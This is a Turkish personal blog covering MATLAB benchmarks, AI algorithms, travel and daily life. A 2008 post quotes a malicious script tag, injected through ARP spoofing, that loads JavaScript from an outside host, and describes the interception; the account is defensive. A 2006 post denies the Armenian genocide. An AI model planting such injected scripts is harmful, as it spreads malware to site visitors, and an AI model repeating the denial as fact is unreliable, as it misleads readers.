Rifat KURBAN

Kişisel bloguma hoşgeldiniz. Bu sayfalarda gündelik konularla ilgili yazılarımı okuyabileceksiniz. Değerli yorumlarınızı bekliyorum... Kişisel sitem için http://www.rifatkurban.name.tr adresine bakabilirsiniz. Mutlu günler dilerim...

Cuma, Temmuz 24, 2009

core i7 üzerinde matlab performans testi

core i7 bildiginiz gibi intel in masaüstü piyasası için çıkarmış olduğu son işlemci serisi. işlemcide 4 çekirdek bulunuyor. ayrıca quad core larda olmayan hyper threading özelligi de eklenmis. 920 serisi ailenin en düşük frekansta çalışan (2.66 ghz) ve en ucuz işemcisi (~350$). mevcut sistemde anakart olarak intel dx58so kullanildi. ram olarak 3x2 gb ddr3 1600 mhz corsair tercih ettik. bu yeni ram teknolojisi 3 kanalli olarak çalışabiliyor. harddisk olarak 2 adet 1 TB sata seagate raid 0 olarak konfigure edildi. ati 3650 ekran kartı bulunuyor. bu test te amacım i7 nin matlab deki performansini test etmek. işletim sistemi windows server 2008 64bit standart edition. matlab versiyonu 2009a. test için, içerisinde genetik algoritma barındıran küçük bir test kodu oluşturuldu:

clear,clc,close all
options = gaoptimset();
options = gaoptimset(options,'Generations',500);
options = gaoptimset(options,'TolFun',1e-1024);
options = gaoptimset(options,'Display','none');
options = gaoptimset(options,'PopulationSize',100);

t=zeros(1,8);
for i=1:8
tic;
[x,fval,exitflag,output] = ga(@rastriginsfcn,200,[],[],[],[],[],[],[],options);
ttime=toc;
fprintf('%d %f\n',i,ttime);
t(i)=ttime;
end
meant=mean(t)
stdt=std(t)
sumt=sum(t)


bu kodu tek bir matlab açıp koşuyoruz. elde edilen sumt değeri i7@920 icin 32sn. aynı değer q6600 işlemcili bir diğer makinede 35sn iken benim yadigar 3ghz p4 ht işlemcili 32bit xp'de 60 sn.

tabi i7 de birden fazla çekirdek olduğu için paralel çalıştırma performansını merak ediyoruz. bu yüzden birden fazla matlab açıp ayı kodu simultane olarak aynı anda başlatıyoruz (bu işlemi manuel olarak yapıyoruz, ufak zaman kayıpları tolere edilebilir, çünkü bu kayıplar tüm test konfigurasyonları için geçerli). paralel çalıştırma için küçük bir not: eğer uyguladığınız kod pratik bir şekilde parçalara bölünebiliyorsa anlatılan teknik oldukça efektif. mesela yukardaki kod parçalara çok kolay bölünebilir çünkü dikkat edilirse 1 den 8 kadar bir for döngüsü var. tek bir matlab de 1 den 8 e kadar koşmak yerine 8 tane farklı matlabde 1er kere koşmak aynı şey. yani bu kod hiç bir ekstra işlem yapmadan parçalanabiliyor. tabi ben testlerde manuel başlatma yaptığım için kodu parçalamadım. parçalasaydık süreler oldukça düşeceği için manuel başlatmadan dolayı zaman kayıpları ve dolayısıyla hatalar artacaktı. bunun yerine tüm kodu olduğu gibi koşup, elde edilen süreyi matlab sayısına böldüm. nasıl olsa kodun eşit küçük parçalara ayrıldığını biliyoruz.

elde ettiğim sonuçlar özetle şu şekilde:
-i7 de maksimum verimlilik 8 adet paralel matlab koşulduğunda elde ediliyor ve yaklaşık 6.84 sn. yani tek matlab ile çalışmanın tam 4.77 katı.
-q6600 da maksimum verimlilik 4 adet paralel matlab koşulduğunda elde ediliyor ve yaklaşık 9.20 sn. yani q6600 da tek matlab ile çalışmanın tam 3.89 katı.
-p4 3ghz de maksimum verimlilik 2 veya daha fazla matlab ile çalışmakla elde ediliyor ve 47sn. yani p4 de tek matlab ile çalışmanın 1.27 katı.

sonuçları yorumlayacak olursak:
-i7 de esasen 4 çekirdek var. fakat hyper threading in bir artisi olsa gerek paralel koşmada 4 ün üzerinde (4.7 kat) verim artışı elde edebildim.
-q6600 ekonomik bir çözüm olmasına rağmen performansı ve verimliliği (3.8 kat) oldukça yüksek.

sistemleri birbiri ile karşılaştıracak olursak:
-i7 920, q6600 dan 1.33 kat daha hızlı
-i7 920, p4 3ghz ht den 6.83 kat daha hızlı (oy oy :)

elde ettiğim detaylı sonuçlar şu excel dosyasında mevcut.

eğer matlab ile uğraşıyorsanız ve yukardaki testi siz de yapmak isterseniz sonuçlarını görmek isterim. konfigurasyonunuz ve performans değerlerinizi ve yorumlarınızı bekliyorum :)

Salı, Mart 10, 2009

yapay sinir ağları

uzun zamandır blogunu takip ettigim bir arkadasin yaptığı çalışmalardan kısaca bahsetmek isterim. kendisi FANN adı verilen (fast artificial neural network) bir acık kaynak yapay sinir ağları (ysa) api'sini kullanarak FANNTOOL adında pratik ve kullanışlı bir ysa öğrenme ve test etme ortamı oluşturmuş. diğer taraftan örnek bir problem üzerinde de hiç kod yazmadan ysa projeleri nasıl yapılır adım adım anlatmış.

diğer taraftan vakt-i zamanında teknohaber.net isimli sitemizde biz de matlab de ysa kullanımına ait bir kaç yazı hazırlamıştık. bu yazılara da aşağıdaki adreslerden ulaşabilirsiniz:
- Yapay Sinir Ağları ve MATLAB ile kullanımı
- MATLAB İle Programlamaya Giriş

bu arada son not olarak belirtelim. ysa'yi kel başa ilaç olarak düşünmemek gerekli. elimizde bir sisteme ait verileri kullanarak giris ile cikis arasinda herhangi bir mantıklı matematiksel model bulmaya gayret etmeden araya ysa'yı koyuveriyoruz genelde. bu da insanın matematiki düşünme becerisini oldukca köreltiyor zannımca.

Salı, Aralık 30, 2008

yapay arı kolonisi algoritması (artificial bee colony algorithm abc)

prof. dr. derviş karaboğa ve proje grubu tarafından geliştirilen yapay arı kolonisi (artificial bee colony) veya kısaca abc algoritması, gercek arıların yiyecek kaynaklarını araştırmasını baz alan bir yapay zeka optimizasyon algoritmasıdır. yapılan deneysel çalışmalarda algoritmanın genetik algoritma, diferansiyel gelişim algoritması gibi benzerlerine göre oldukça iyi sonuçlar verdiği görülmüştür. detaylı bilgiler ve algoritmanın MATLAB kodları için http://mf.erciyes.edu.tr/abc/ adresini ziyaret edebilirsiniz.

Pazartesi, Ağustos 04, 2008

erasmus anıları

geçtiğimiz mayıs ayı sonunda bölümüzden bazı hocalar ile avrupa birliği erasmus öğretim elemanı değişimi programı çerçevesinde yurt dışına gittik. aradan epey zaman geçti ama anılarımızı kısaca sizlerle de paylaşmak istedim. 3 arkadaş polonya lodz WSInf üniversitesinde, 1 arkadaşımızda macaristan miskolc üniversitesinde eğitim vermek üzere yola çıktık. uygun uçak bileti bulamadığımız için önce almanya berlin'e indik. buradan bir araç kiraladık (audi a3). aracın gps'i çok işimize yaradı. ancak ben kendi gps cihazımı da yanıma almıştım (HP PDA + Bluetooth GPS). almanya dışına çıktığımızda aracın gps'i sadece ana yolları gösteriyordu. bu nokta da benim gps çok iş gördü. yurt dışında mutlaka ve mutlaka bir gps cihazınız olmalı. diğer taraftan araba kiralamak da çok mantıklı bir tercih. eğer çok gezecekseniz otobüs ve tren masrafları araba kirasını kat kat geçiyor. efendim berlin'de temiz ve güzel bir hostel de konakladık. frankfurt üzerinden polonya'ya geçtik. burada poznan şehiri üzerinden lodz'a vardık. polonya ilginç bir ülke. varşova ve krakow haricinde ingilizce konuşan çok az. derdinizi ingilizce anlatmaktansa türkçe anlatmak daha etkili oluyor :) (denedik ve gördük). o yüzden ingilizce bilmeyen insanlarla ingilizce konuşmak için kendinizi zorlamayın, direk türkçe konuşun. zaten onlarda hiç bir mimik vs. olmadan lehçe konuşuyor, karşılıklı gülüşüyorsunuz. lodz'da (bu arada vuç diye okunuyor) üniversite içinde güzel bir misafirhane de kaldık. lodz da gezilecek görülecek pek bir yer yok. manufaktura isimli büyük bir alışveriş merkezi var. yemek konusunda titizseniz en kolayı semt pazarından domatesi salatalık ekmek alıp karın doyurmak. lodz varşova arası km olarak çok kısa ama tek şerit yol çok kalabalık. varşova güzel bir şehir. en azından insanlar ingilizce konuşuyor. merkezde görkemli bir yapı var. asansörle bilmem kaçıncı kata kadar çıkılıyor ama paralı olduğu için çıkmadık. güzel bir nehir geçiyor şehirden kenarında oturulabilir. krakow ise çok daha güzel bir şehir ama çok fazla gezme şansımız olmadı malesef. krakow'a girmeden 60 km yakınlarında osweicim diye bir kasabada auschwitz müzesi var. ikinci dünya savaşı sırasında nazi hitlerin yahudi toplama kampları burada bulunuyor. 3 büyük kamp var. auschwitz I ve II'yi gezme şansımız oldu. kamplar çok ama çok büyük. mutlaka bir tam gününüzü ayırmanız lazım. mümkünse paraya kıyıp bir rehber grubuna katılın. biz öğleden sonra vardığımız için 10 pln'ye ufak harita satın alıp kendimiz gezmek zorunda kaldık. krakow'dan slovakya üzerinden miskolc'a geçtik. macaristan da polonya ya göre biraz daha insan kendini bildik yerlerde hissediyor. o kadar polonya da kaldık mesela bir para birimini bile nasıl telefuz edildiğini öğrenemedik. buradaki üniversite çok büyük ve akademik olarak da çok ileriydi polonyaya göre. dekan bey bizi çok sıcak karşıladı. yurt dışında pek misafirperverlik yapmıyorlar ama kendisi bize ikramda bulundu (kola makinesinden kola ısmarladı). bu şehrin çok gezilecek görülecek özel yerleri yok. virane bir kale var oraya gittik sadece. diğer yandan budapeşte gerçekten çok güzel bir şehir. çok fazla gezilecek yerler var. bir sonraki durağımız ise prag oldu. budapeşte'ye benzeyen bir şehir ama benim daha çok hoşuma gitti açıkcası. son durağımız ise viyana oldu. burası almanyanın kopyası gibi zaten. 10 kişiden 9'u türk. insan kendini evinde gibi hissediyor. günlerdir aç gezmekten gözümüz dönmüş bir şekilde kendimizi kent restauran'da bulduk. trabzonlular tarafından işletilen bu restroranda türk mutfağının eşsiz lezzetleri mevcut. kahvaltı yapmanızı da mutlaka tavsiye ederim. tekrar berlin'e geçerek dönüş uçağına bindik. lufthansa hava yollarını gönülden tebrik ederim, yemekleri thy'ye 5 basar. kiraladığımız araç 9 günde yaklaşım 2800 km yol kat ederek 5 ülkeyi ve başkentleri ile bazı önemli şehirlerini gezme görme fırsatımız oldu. diğer taraftan oradaki üniversitelerde öğrenci ve akademisyenlere sunumlar yaparak hem kendi üniversitemizi ve kültürümüzü hem de çalışma konularımızı aktarma fırsatı bulduk. katkılarından dolayı avrupa birliği'ne teşekkürlerimi sunarım. imkanı olan her kez bu tür programlamlara katılmalı derim..

Cuma, Şubat 22, 2008

virus

merhaba arkadaslar,

son bir kac aydır üniversitemizin tüm network'ünü duman eden bir virüs ile başımız dertte idi. antivirus programları bazı web sitelerine bağlanırken virüs bulundu (ANI.GEN , Trojan Downloader, Alman/NAB vs. gibi) uyarısı veriyor ancak pc'yi tarattığımızda hiç bir virüse rastlanmıyordu. işin ilginç yanı bir çok web sitesine bağlanırken html sayfasının kaynağını görüntüle dediğimizde aşağıdaki script kodunun eklendiğini gördük.

<SCRIPT LANGUAGE="javascript1.2" SRC="http://g.asdafdgfgf.com/ads.js"></SCRIPT>

bir web sitesindeki (bazen bu adres 222360.com da olabiliyor) javascript dosyasını açmaya çalışıyordu virüs. ama işin ilginç olan yanı bilgisayarda virüs olmadığına emin olmamıza rağmen zaman zaman üstteki kodun girilen tüm sayfalarda çıkması idi. bu durumda bir kaç ihtimal kalıyordu. ağdaki trafiğe bir şekilde müdahale eden bir virüs söz konusu olmalıydı. virüs sadece yukardaki kodu girilen tüm sayfalara enjekte etmekle kalmıyor, ağda müthiş bir trafik oluşturuyor, internet bağlantısını yavaşlatıyor hatta çoğu zaman iptal ediyordu. internette forumlarda defalarca bu konuyu aradık, pek çok kişi aynı dertten muzdarip idi ancak bir çözüm yoktu. geçenlerde hindistan menşeili bir servis sağlayıcının benzer bir problemden dolayı müşterilerine sunduğu çözüme ulaştım. virüsün olayı şu idi:
-arp spoofing (arp poisoning) adı verilen teknik ile switch tabanlı bir ağda kendisini gateway/router gibi tanıtıyordu
-böylece siz bir web sitesine bağlanmaya çalışınca gateway olarak virüslü bilgisayara bağlanıyordunuz
-o bilgisayarda ilgili web sitesini size gösterirken kendi kodunuda sayfanın en üstüne enjekte ediyordu
-tabi sizin tüm internet trafiğiniz virüslü o bilgisayar tarafından süzülüyordu bu da tüm şifre ve yazışmalarında süzüldüğü anlamına geliyor

çözüm ise basit: ağda gerçekten virüslü olan makineleri tespit edip virüslerini temizlemek. ancak üniversite gibi 1000lerce bilgisayarın buluduğu ve bir kontrolün olmadığı ortamlarda bunu yapmak pek pratik değil. ama hindu amcalar ufak bir yazılım ile ağda arp spoofing yapan makinelerin iplerini tespit edebilmişler.

3-4 gündür bilgisayarımda bu yazılımı çalıştırarak virüslü bilgisayarları tespit etmeye çalışıyorum. bir bilgisayarı yakaladık ve virüsünü temizledik. şimdilik problemler azaldı ancak tamamen düzelmesi zaman alacak gibi görünüyor. virüsten muzdarip olanlara allah kolaylık versin diyorum.

bu arada bu virüsle ilgilenirken arp spoofing olayını da inceledim. bu yöntemle ağdaki trafiği dinlemeniz (sniffing) mümkün. bağlanılan web sitelerini, ağdaki msn konuşmalarını hatta msn web cam görüntülerini yakalamak için onlarca yazılım olduğunu gördüm. ama bu iş çok sakat. her dakika ağda arp spoofing yapan varmı diye bakamayız ki? mahremiyet diye bişey kalmamış oluyor. bence antivirüs yazılımlarına bu özellik eklenmeli, ağda spoofing yapan makineleri tespit etmeli ve ona göre önlem almalı.

Salı, Aralık 18, 2007

kurban bayramı

herkesin kurban bayramını kutlar, sevdiklerinizle birlikte mutlu bir bayram geçirmenizi dilerim...

Salı, Kasım 06, 2007

ikinci mezuniyet

an itibariyle artık bir aöf (açık öğretim) mezunuyum. 5 yıllık çile bitti. 2002'de ikinci üniversite olarak kayıt yaptırdığım Anadolu Üniversitesi, İşletme Fakültesi, İşletme bölümünü bitirdim ve diplomamı aldım. peki elime ne geçti? bişey geçmedi. ne doğru düzgün bişeyler öğrenebildim (geçme notu 50, yanlış doğruyu götürmüyor, biraz destekli atabiliyorsanız 5 sene de bitebiliyor, ben bugun bunu gördüm) ne de hayatımda bundan sonra bu diplomanın ne işe yaracağını bilebiliyorum. yine de eğlenceliydi. ama artık sıkmaya başlamıştı. bana baya da pahalıya patladı doğrusu. çünkü sınavlara girmem gerektiği için gözetmen duramıyordum ve zararım katlanıyordu :). en iyisini aramızda hiç bu fantaziye katılmayarak mesut yaptı. ahmet 2 yıl okuduktan sonra önlisans diploması aldı. kadir de zararın neresinden dönsek kardır deyip bıraktı. velhasıl bir aöf macerası da böylelikle bitmiş oldu. ikinci üniversite hevesinde olan arkadaşlara burdan duyurulur: benim tavsiyem, "gereği yok".

Salı, Ekim 09, 2007

sözün bittiği an


Perşembe, Eylül 20, 2007

uydu

bina yönetimi çatıya uydu çanağı koyma kararı aldı. tüm dairelere uydu alıcıların bağlanabileceği konnektörlerden taktılar. ben de bir alıcı alıp bundan sonra uydu izleyim dedim. internetten araştırdım. seoul gt-5000 diye bi uydu alıcısı satın aldım. daha önce hiç uydu alıcısı kullanmadım ama benim gördüğüm kadarıyla bu alıcının avantajları şöyle sıralanabilir:
  • fiyatı çok cazip
  • uydudan yazılım güncelleme özelliği var
  • yerli malı
  • 3 yıl garanti

özellikle yazılım güncelleme özelliği çok güzel. aksi takdirde yeni versiyon çıkınca bilgisayara indirip rs232 den uyduya göndermek gerekiyor. bunda ise yeni versiyon çıkınca uydu üzerinden güncelliyor.

Cuma, Temmuz 13, 2007

Evleniyoruz...


Çarşamba, Mayıs 23, 2007

web sitesi olanlar ...

İNTERNET ORTAMINDA YAPILAN YAYINLARIN DÜZENLENMESİ VE BU YAYINLAR YOLUYLA İŞLENEN SUÇLARLA MÜCADELE EDİLMESİ HAKKINDA KANUN

Kanun No. 5651
Kabul Tarihi : 4/5/2007

Amaç ve kapsam
MADDE 1- (1) Bu Kanunun amaç ve kapsamı; içerik sağlayıcı, yer sağlayıcı, erişim sağlayıcı ve toplu kullanım sağlayıcıların yükümlülük ve sorumlulukları ile internet ortamında işlenen belirli suçlarla içerik, yer ve erişim sağlayıcıları üzerinden mücadeleye ilişkin esas ve usûlleri düzenlemektir.

Devamı için ...

Salı, Nisan 24, 2007

pars: kiraz operasyonu

Bence olmuş arkadaşlar, kendimi holywood'dan bir aksiyon filmi izliyomuş gibi hissettim.

"Uyuşturucu satıcıları ve kullanıcıları ile onlara engel olmaya çalışanlar arasında geçen; fakat özünde bireysel bir hikâyeyi konu edinen Pars: Kiraz Operasyonu; okullardaki öğrenciler, uyuşturucu baronları ve narkotik polislerinden oluşan bir üçgeni konu alıyor. Uyuşturucunun esrarlı tahtının kurbanlarının üzerinde yükseldiği gerçeğini yaşayarak öğrenen “Pars”, başka kurbanlar verilmemesi için hayatındaki herşeyi feda etmeye hazırdır. "

Yönetmen: Osman Sınav
Senaryo : Osman Sınav, Aybars Bora Kahyaoğlu
Müzik: Srdjan Kurpjel
Görüntü yönetmeni: Torben Forsberg
Oyuncular: Mehmet Kurtuluş , Nida Şafak
Tür: Dram, Polisiye, Aksiyon
Yapım: Türkiye 2006 (Renkli)
Dil:Türkçe

http://www.parskirazoperasyonu.com/
http://www.sinema.com/film/6519/pars-kiraz-operasyonu

Cuma, Şubat 02, 2007

ah sensiz

güneş küsmüş şavkımıyor ah sensiz
zerdali güzeli,gözlerinle bak bana

kader eş oldu yenemiyorum ah sensiz
baldan tatlı sözlerinle gül bana

diken sarmış güllerimi deremiyorum
gülden nazik ellerini uzat bana
hasret yanar gecelerim ah sensiz
davran gülüm esen yel ol gel bana

beste: alaaddin us
yorum: ilkay akkaya

Cuma, Ocak 26, 2007

google sen büyüksün

teknohaber.net sitesinde bir süredir google adsense reklamları yayınlıyordum. bugun sağolsun google 3 aylık birikmiş hasılatı trink diye EFT yapmış hesabıma. bi kere daha takdir ettim, ne diyim yani mutluyum :)

Pazar, Ocak 14, 2007

sakarlık


bugün kayseripark'ta tuba ile karamelli dondurma (nam-ı diğer: sundae) yiyelim dedik. kalabalıkta zar zor bi masa bulup oturduk. gittim 2 tane dondurma aldım geldim. tam bizim masaya yaklaşmıştım ki, dondurmalardan biri kayarak elimdeki tepsinin kenarına geldi ve devrilip yere kapaklandı. "lan noluyo" filan derken diğeri de aynı şekilde kayarak yere yapıştı :). çok komik bi durumdu. tuba ile epey güldük. gittim tekrar 2 tane daha aldım, tabi onları dökmeden getirdim de yiyebildik sonunda. siz siz olun mc donalds'dan sundae alınca dikkatli taşıyın. meretin ağırlık merkezi biraz yukarda olduğu için devrilmeye pek meyilli .... :)

Cumartesi, Aralık 30, 2006

kurban bayramı ve yeni yıl

hepinizin kurban bayramını ve yeni yılını kutlarım. mutlu ve huzurlu günler geçirmenizi dilerim ...

Etiketler: ,

Salı, Ekim 24, 2006

ramazan bayramı


bayramınızı en içten dileklerimle kutlarım...

Çarşamba, Ekim 18, 2006

ermeni olayları

millet olarak konu ile ilgili fazla bilgiye sahip değiliz. çeşitli kaynaklardan okuduğum kadari ile ben bu olaylari soykırım veya katliam olarak değerlendirmiyorum. savaş döneminde alınmış bir tehcir kararıyla birlikte kötü şartlarda ölen ermeni vatandaşları olmuştur şüphesiz. ancak o kararın alınmasını mecbur kılan pek çok ermeni ayaklanması ve akabinde masum türklerin ölmüş olmasıdır. savaş döneminde yaşanan bu olaylar soykırım veya katliam değil olsa olsa iki halkın birbiri ile "boğazlaşması"dır diyor bazı tarihciler. fakat ermeni halkı bu soykırım iddiasına öyle inanmıştır ki, dünya çapında kamuoyu oluşturarak tüm dünya halklarını da inandırmıştır ve 20 kadar ülke parlementolarında sözde ermeni soykırım iddialarını kabul etmiştir. türkiye cumhuriyeti olarak biz bu konuda uluslararası kamuoyunda oldukça sessiz kalmışızdır. geç de olsa devlet arşivlerinin açılması ve ermenistan'a yapılan iddiaların açığa kavuşturulması için yapılan çağrı reddedilmiştir. fransa da geçtiğimiz günlerde bu yalana ortak olmuştur. artık günümüzde bu olay tamamen siyasi ve politik bir hal almıştır ancak yine de fransa'yı, isviçre'yi ve soykırım iddialarını kabul eden tüm ülkeleri şiddetle kınıyorum.

Mesut'tan bir vecibe:
ERMENİ SOYKIRIMI PALAVRADIR - A BIG LIE "ARMENIAN GENOCIDE"

İlgili kaynaklar:
Vikipedi Türkçe - English
Ekşi sözlük

Pazartesi, Ekim 16, 2006

muhendis bakis acisi

"bir ortamda mumkun olabilen, sayisal ispatlanabilir temellere dayanan en mantikli baki$ acisidir. en onemli ozelligi eldeki durumu ve degi$kenleri "tarti$ilmaz ve degi$tirilemez" kabul edip (ecnebi buna "given" der) eldekilerden en uygun cozumu uretmektir.yakinmak, eldeki veriler yetersiz demek, duygusal davranmak bu baki$a en uzak yontemlerdir. bu baki$ tek ve net dogru pe$inde ko$maz. urettigi ciktilar ve sundugu cozumler, hesaplanabilir toleranslar uzerine olmalidir. net ve kesin sonuc sadece mumkunse cikar.velhasil muhendis dedigin, eldekinden ekmek yapandir, un yok diyen degildir. sonucta ekmek ekmege benzemeyebilir ama en azindan karin doyurmalidir." diyor ekşi sözlük.

Perşembe, Eylül 14, 2006

cebit ve ekşisözlük

geçen hafta yine yoğundu. salı günü doktora mülakatı vardı. kazandık çok şükür. çarşamba kaydı yaptırdım enstitüye. gece yola çıktım. perşembe sabah ankara'ya vardım. hacettepe üniversitesi beytepe kampüsüne gitmek için aşti'nin karşısına geçtim. yarım saat bi kaldırımda yarım saatte karşı kaldırımda bekledim bi otobüs minibüs gelmedi. sonra bi kaç kişi yürüyor bende arkalarına takıldım. armada'nın önünden bi otobüse bindik çok şükür. beytepe baya uzakmış. hacettepe üni'ye ilk gidişimdi. URSI isimli radyo bilimleri ile ilgil bi konferansa katıldım. öğleden sonra sunumumu yapıp gazi üniversitesi'nden esra nergis'i ve şeref hoca'yı ziyaret ettim. gece tekrar otobüse binip istanbul'a gittim. sevgili arkadaşım onur karşıladı sabahında beni. cebit fuarında standımız vardı. cuma ve ctesi öğrencilerle birlikte ordaydım. ctesi akşam mesut betül ve ahmet'le üsküdar'da yemek yedik. sonra mesut çok ısrar etti onlarda kaldım. haliyle sabah fuara gidemedim. pazar günü 19:40 onurair kayseri uçağı ile evime geldim. bu sene leyleği havada gördüm heralde. hindistan, antalya'da tatil, ankara ve istanbul derken çok yoruldum. bu arada bugun ekşisözlük'te rifkur başlığının altında şu entry'yi gördüm ve epey güldüm. ilgili user'in teşvikiyle entry sayımı 10'a çıkarttım. bakalım tekrar yazar yapacaklarmı beni :)